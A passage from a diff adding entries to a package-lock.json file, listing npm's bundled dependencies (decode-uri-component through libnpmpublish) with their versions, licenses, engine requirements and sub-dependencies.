"node_modules/npm/node_modules/decode-uri-component": { + "version": "0.2.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10" + } + }, + "node_modules/npm/node_modules/deep-extend": { + "version": "0.6.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4.0.0" + } + }, + "node_modules/npm/node_modules/defaults": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "clone": "^1.0.2" + } + }, + "node_modules/npm/node_modules/define-properties": { + "version": "1.1.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "object-keys": "^1.0.12" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/npm/node_modules/delayed-stream": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/npm/node_modules/delegates": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/detect-indent": { + "version": "5.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/detect-newline": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/dezalgo": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "asap": "^2.0.0", + "wrappy": "1" + } + }, + "node_modules/npm/node_modules/dot-prop": { + "version": "4.2.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "is-obj": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/dotenv": { + "version": "5.0.1", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "engines": { + "node": ">=4.6.0" + } + }, + "node_modules/npm/node_modules/duplexer3": { + "version": "0.1.4", + "dev": true, + "inBundle": true, + "license": "BSD-3-Clause" + }, + "node_modules/npm/node_modules/duplexify": { + "version": "3.6.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "end-of-stream": "^1.0.0", + "inherits": "^2.0.1", + "readable-stream": "^2.0.0", + "stream-shift": "^1.0.0" + } + }, + "node_modules/npm/node_modules/duplexify/node_modules/readable-stream": { + "version": "2.3.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/npm/node_modules/duplexify/node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/duplexify/node_modules/string_decoder": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/npm/node_modules/duplexify/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/ecc-jsbn": { + "version": "0.1.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "jsbn": "~0.1.0", + "safer-buffer": "^2.1.0" + } + }, + "node_modules/npm/node_modules/editor": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/emoji-regex": { + "version": "7.0.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/encoding": { + "version": "0.1.12", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "iconv-lite": "~0.4.13" + } + }, + "node_modules/npm/node_modules/end-of-stream": { + "version": "1.4.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "once": "^1.4.0" + } + }, + "node_modules/npm/node_modules/env-paths": { + "version": "2.2.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/err-code": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/errno": { + "version": "0.1.7", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "prr": "~1.0.1" + }, + "bin": { + "errno": "cli.js" + } + }, + "node_modules/npm/node_modules/es-abstract": { + "version": "1.12.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "es-to-primitive": "^1.1.1", + "function-bind": "^1.1.1", + "has": "^1.0.1", + "is-callable": "^1.1.3", + "is-regex": "^1.0.4" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/npm/node_modules/es-to-primitive": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "is-callable": "^1.1.4", + "is-date-object": "^1.0.1", + "is-symbol": "^1.0.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/npm/node_modules/es6-promise": { + "version": "4.2.8", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/es6-promisify": { + "version": "5.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "es6-promise": "^4.0.3" + } + }, + "node_modules/npm/node_modules/escape-string-regexp": { + "version": "1.0.5", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/npm/node_modules/execa": { + "version": "0.7.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "cross-spawn": "^5.0.1", + "get-stream": "^3.0.0", + "is-stream": "^1.1.0", + "npm-run-path": "^2.0.0", + "p-finally": "^1.0.0", + "signal-exit": "^3.0.0", + "strip-eof": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/execa/node_modules/get-stream": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/extend": { + "version": "3.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/extsprintf": { + "version": "1.3.0", + "dev": true, + "engines": [ + "node >=0.6.0" + ], + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/fast-json-stable-stringify": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/figgy-pudding": { + "version": "3.5.2", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/filter-obj": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/find-npm-prefix": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/flush-write-stream": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.4" + } + }, + "node_modules/npm/node_modules/flush-write-stream/node_modules/readable-stream": { + "version": "2.3.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/npm/node_modules/flush-write-stream/node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/flush-write-stream/node_modules/string_decoder": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/npm/node_modules/flush-write-stream/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/forever-agent": { + "version": "0.6.1", + "dev": true, + "inBundle": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/form-data": { + "version": "2.3.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "asynckit": "^0.4.0", + "combined-stream": "^1.0.6", + "mime-types": "^2.1.12" + }, + "engines": { + "node": ">= 0.12" + } + }, + "node_modules/npm/node_modules/from2": { + "version": "2.3.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "inherits": "^2.0.1", + "readable-stream": "^2.0.0" + } + }, + "node_modules/npm/node_modules/from2/node_modules/readable-stream": { + "version": "2.3.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/npm/node_modules/from2/node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/from2/node_modules/string_decoder": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/npm/node_modules/from2/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/fs-minipass": { + "version": "1.2.7", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minipass": "^2.6.0" + } + }, + "node_modules/npm/node_modules/fs-minipass/node_modules/minipass": { + "version": "2.9.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "safe-buffer": "^5.1.2", + "yallist": "^3.0.0" + } + }, + "node_modules/npm/node_modules/fs-vacuum": { + "version": "1.2.10", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "graceful-fs": "^4.1.2", + "path-is-inside": "^1.0.1", + "rimraf": "^2.5.2" + } + }, + "node_modules/npm/node_modules/fs-write-stream-atomic": { + "version": "1.0.10", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "graceful-fs": "^4.1.2", + "iferr": "^0.1.5", + "imurmurhash": "^0.1.4", + "readable-stream": "1 || 2" + } + }, + "node_modules/npm/node_modules/fs-write-stream-atomic/node_modules/iferr": { + "version": "0.1.5", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/fs-write-stream-atomic/node_modules/readable-stream": { + "version": "2.3.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "core-util-is": "~1.0.0", + "inherits": "~2.0.3", + "isarray": "~1.0.0", + "process-nextick-args": "~2.0.0", + "safe-buffer": "~5.1.1", + "string_decoder": "~1.1.1", + "util-deprecate": "~1.0.1" + } + }, + "node_modules/npm/node_modules/fs-write-stream-atomic/node_modules/readable-stream/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/fs-write-stream-atomic/node_modules/string_decoder": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safe-buffer": "~5.1.0" + } + }, + "node_modules/npm/node_modules/fs-write-stream-atomic/node_modules/string_decoder/node_modules/safe-buffer": { + "version": "5.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/fs.realpath": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/function-bind": { + "version": "1.1.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/gauge": { + "version": "2.7.4", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^1.0.3", + "console-control-strings": "^1.0.0", + "has-unicode": "^2.0.0", + "object-assign": "^4.1.0", + "signal-exit": "^3.0.0", + "string-width": "^1.0.1", + "strip-ansi": "^3.0.1", + "wide-align": "^1.1.0" + } + }, + "node_modules/npm/node_modules/gauge/node_modules/aproba": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/gauge/node_modules/string-width": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "code-point-at": "^1.0.0", + "is-fullwidth-code-point": "^1.0.0", + "strip-ansi": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/genfun": { + "version": "5.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/gentle-fs": { + "version": "2.3.1", + "dev": true, + "inBundle": true, + "license": "Artistic-2.0", + "dependencies": { + "aproba": "^1.1.2", + "chownr": "^1.1.2", + "cmd-shim": "^3.0.3", + "fs-vacuum": "^1.2.10", + "graceful-fs": "^4.1.11", + "iferr": "^0.1.5", + "infer-owner": "^1.0.4", + "mkdirp": "^0.5.1", + "path-is-inside": "^1.0.2", + "read-cmd-shim": "^1.0.1", + "slide": "^1.1.6" + } + }, + "node_modules/npm/node_modules/gentle-fs/node_modules/aproba": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/gentle-fs/node_modules/iferr": { + "version": "0.1.5", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/get-caller-file": { + "version": "2.0.5", + "dev": true, + "inBundle": true, + "license": "ISC", + "engines": { + "node": "6.* || 8.* || >= 10.*" + } + }, + "node_modules/npm/node_modules/get-stream": { + "version": "4.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "pump": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/getpass": { + "version": "0.1.7", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0" + } + }, + "node_modules/npm/node_modules/glob": { + "version": "7.2.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "fs.realpath": "^1.0.0", + "inflight": "^1.0.4", + "inherits": "2", + "minimatch": "^3.1.1", + "once": "^1.3.0", + "path-is-absolute": "^1.0.0" + }, + "engines": { + "node": "*" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/npm/node_modules/glob/node_modules/minimatch": { + "version": "3.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/global-dirs": { + "version": "0.1.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ini": "^1.3.4" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/got": { + "version": "6.7.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "create-error-class": "^3.0.0", + "duplexer3": "^0.1.4", + "get-stream": "^3.0.0", + "is-redirect": "^1.0.0", + "is-retry-allowed": "^1.0.0", + "is-stream": "^1.0.0", + "lowercase-keys": "^1.0.0", + "safe-buffer": "^5.0.1", + "timed-out": "^4.0.0", + "unzip-response": "^2.0.1", + "url-parse-lax": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/got/node_modules/get-stream": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/graceful-fs": { + "version": "4.2.10", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/har-schema": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/har-validator": { + "version": "5.1.5", + "deprecated": "this library is no longer supported", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ajv": "^6.12.3", + "har-schema": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/har-validator/node_modules/ajv": { + "version": "6.12.6", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/npm/node_modules/har-validator/node_modules/fast-deep-equal": { + "version": "3.1.3", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/har-validator/node_modules/json-schema-traverse": { + "version": "0.4.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/has": { + "version": "1.0.3", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "function-bind": "^1.1.1" + }, + "engines": { + "node": ">= 0.4.0" + } + }, + "node_modules/npm/node_modules/has-flag": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/has-symbols": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/npm/node_modules/has-unicode": { + "version": "2.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/hosted-git-info": { + "version": "2.8.9", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/http-cache-semantics": { + "version": "3.8.1", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause" + }, + "node_modules/npm/node_modules/http-proxy-agent": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "agent-base": "4", + "debug": "3.1.0" + }, + "engines": { + "node": ">= 4.5.0" + } + }, + "node_modules/npm/node_modules/http-signature": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "^1.0.0", + "jsprim": "^1.2.2", + "sshpk": "^1.7.0" + }, + "engines": { + "node": ">=0.8", + "npm": ">=1.3.7" + } + }, + "node_modules/npm/node_modules/https-proxy-agent": { + "version": "2.2.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "agent-base": "^4.3.0", + "debug": "^3.1.0" + }, + "engines": { + "node": ">= 4.5.0" + } + }, + "node_modules/npm/node_modules/humanize-ms": { + "version": "1.2.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ms": "^2.0.0" + } + }, + "node_modules/npm/node_modules/iconv-lite": { + "version": "0.4.23", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "safer-buffer": ">= 2.1.2 < 3" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/iferr": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/npm/node_modules/ignore-walk": { + "version": "3.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "minimatch": "^3.0.4" + } + }, + "node_modules/npm/node_modules/import-lazy": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/imurmurhash": { + "version": "0.1.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.8.19" + } + }, + "node_modules/npm/node_modules/infer-owner": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/inflight": { + "version": "1.0.6", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "once": "^1.3.0", + "wrappy": "1" + } + }, + "node_modules/npm/node_modules/inherits": { + "version": "2.0.4", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/ini": { + "version": "1.3.8", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/init-package-json": { + "version": "1.10.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "glob": "^7.1.1", + "npm-package-arg": "^4.0.0 || ^5.0.0 || ^6.0.0", + "promzard": "^0.3.0", + "read": "~1.0.1", + "read-package-json": "1 || 2", + "semver": "2.x || 3.x || 4 || 5", + "validate-npm-package-license": "^3.0.1", + "validate-npm-package-name": "^3.0.0" + } + }, + "node_modules/npm/node_modules/ip": { + "version": "1.1.5", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/ip-regex": { + "version": "2.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/is-callable": { + "version": "1.1.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/npm/node_modules/is-ci": { + "version": "1.2.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "ci-info": "^1.5.0" + }, + "bin": { + "is-ci": "bin.js" + } + }, + "node_modules/npm/node_modules/is-ci/node_modules/ci-info": { + "version": "1.6.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/is-cidr": { + "version": "3.1.1", + "dev": true, + "inBundle": true, + "license": "BSD-2-Clause", + "dependencies": { + "cidr-regex": "^2.0.10" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/is-date-object": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/npm/node_modules/is-fullwidth-code-point": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "number-is-nan": "^1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/is-installed-globally": { + "version": "0.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "global-dirs": "^0.1.0", + "is-path-inside": "^1.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/is-npm": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/is-obj": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/is-path-inside": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "path-is-inside": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/is-redirect": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/is-regex": { + "version": "1.0.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "has": "^1.0.1" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/npm/node_modules/is-retry-allowed": { + "version": "1.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/is-stream": { + "version": "1.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/npm/node_modules/is-symbol": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "has-symbols": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/npm/node_modules/is-typedarray": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/isarray": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/isexe": { + "version": "2.0.0", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/isstream": { + "version": "0.1.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/jsbn": { + "version": "0.1.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/json-parse-better-errors": { + "version": "1.0.2", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/json-parse-even-better-errors": { + "version": "2.3.1", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/json-schema": { + "version": "0.4.0", + "dev": true, + "inBundle": true, + "license": "(AFL-2.1 OR BSD-3-Clause)" + }, + "node_modules/npm/node_modules/json-stringify-safe": { + "version": "5.0.1", + "dev": true, + "inBundle": true, + "license": "ISC" + }, + "node_modules/npm/node_modules/jsonparse": { + "version": "1.3.1", + "dev": true, + "engines": [ + "node >= 0.2.0" + ], + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/JSONStream": { + "version": "1.3.5", + "dev": true, + "inBundle": true, + "license": "(MIT OR Apache-2.0)", + "dependencies": { + "jsonparse": "^1.2.0", + "through": ">=2.2.7 <3" + }, + "bin": { + "JSONStream": "bin.js" + }, + "engines": { + "node": "*" + } + }, + "node_modules/npm/node_modules/jsprim": { + "version": "1.4.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "assert-plus": "1.0.0", + "extsprintf": "1.3.0", + "json-schema": "0.4.0", + "verror": "1.10.0" + }, + "engines": { + "node": ">=0.6.0" + } + }, + "node_modules/npm/node_modules/latest-version": { + "version": "3.1.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "package-json": "^4.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/npm/node_modules/lazy-property": { + "version": "1.0.0", + "dev": true, + "inBundle": true, + "license": "MIT" + }, + "node_modules/npm/node_modules/libcipm": { + "version": "4.0.8", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "bin-links": "^1.1.2", + "bluebird": "^3.5.1", + "figgy-pudding": "^3.5.1", + "find-npm-prefix": "^1.0.2", + "graceful-fs": "^4.1.11", + "ini": "^1.3.5", + "lock-verify": "^2.1.0", + "mkdirp": "^0.5.1", + "npm-lifecycle": "^3.0.0", + "npm-logical-tree": "^1.2.1", + "npm-package-arg": "^6.1.0", + "pacote": "^9.1.0", + "read-package-json": "^2.0.13", + "rimraf": "^2.6.2", + "worker-farm": "^1.6.0" + } + }, + "node_modules/npm/node_modules/libnpm": { + "version": "3.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "bin-links": "^1.1.2", + "bluebird": "^3.5.3", + "find-npm-prefix": "^1.0.2", + "libnpmaccess": "^3.0.2", + "libnpmconfig": "^1.2.1", + "libnpmhook": "^5.0.3", + "libnpmorg": "^1.0.1", + "libnpmpublish": "^1.1.2", + "libnpmsearch": "^2.0.2", + "libnpmteam": "^1.0.2", + "lock-verify": "^2.0.2", + "npm-lifecycle": "^3.0.0", + "npm-logical-tree": "^1.2.1", + "npm-package-arg": "^6.1.0", + "npm-profile": "^4.0.2", + "npm-registry-fetch": "^4.0.0", + "npmlog": "^4.1.2", + "pacote": "^9.5.3", + "read-package-json": "^2.0.13", + "stringify-package": "^1.0.0" + } + }, + "node_modules/npm/node_modules/libnpmaccess": { + "version": "3.0.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^2.0.0", + "get-stream": "^4.0.0", + "npm-package-arg": "^6.1.0", + "npm-registry-fetch": "^4.0.0" + } + }, + "node_modules/npm/node_modules/libnpmconfig": { + "version": "1.2.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "figgy-pudding": "^3.5.1", + "find-up": "^3.0.0", + "ini": "^1.3.5" + } + }, + "node_modules/npm/node_modules/libnpmconfig/node_modules/find-up": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "locate-path": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/libnpmconfig/node_modules/locate-path": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "p-locate": "^3.0.0", + "path-exists": "^3.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/libnpmconfig/node_modules/p-limit": { + "version": "2.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/libnpmconfig/node_modules/p-locate": { + "version": "3.0.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "dependencies": { + "p-limit": "^2.0.0" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/libnpmconfig/node_modules/p-try": { + "version": "2.2.0", + "dev": true, + "inBundle": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/npm/node_modules/libnpmhook": { + "version": "5.0.3", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^2.0.0", + "figgy-pudding": "^3.4.1", + "get-stream": "^4.0.0", + "npm-registry-fetch": "^4.0.0" + } + }, + "node_modules/npm/node_modules/libnpmorg": { + "version": "1.0.1", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^2.0.0", + "figgy-pudding": "^3.4.1", + "get-stream": "^4.0.0", + "npm-registry-fetch": "^4.0.0" + } + }, + "node_modules/npm/node_modules/libnpmpublish": { + "version": "1.1.2", + "dev": true, + "inBundle": true, + "license": "ISC", + "dependencies": { + "aproba": "^2.0.0", + "figgy-pudding": "^3.5.1", + "get-stream": "^4.0.0", + "lodash.clonedeep": "^4.5.0", + "normalize-package-data": 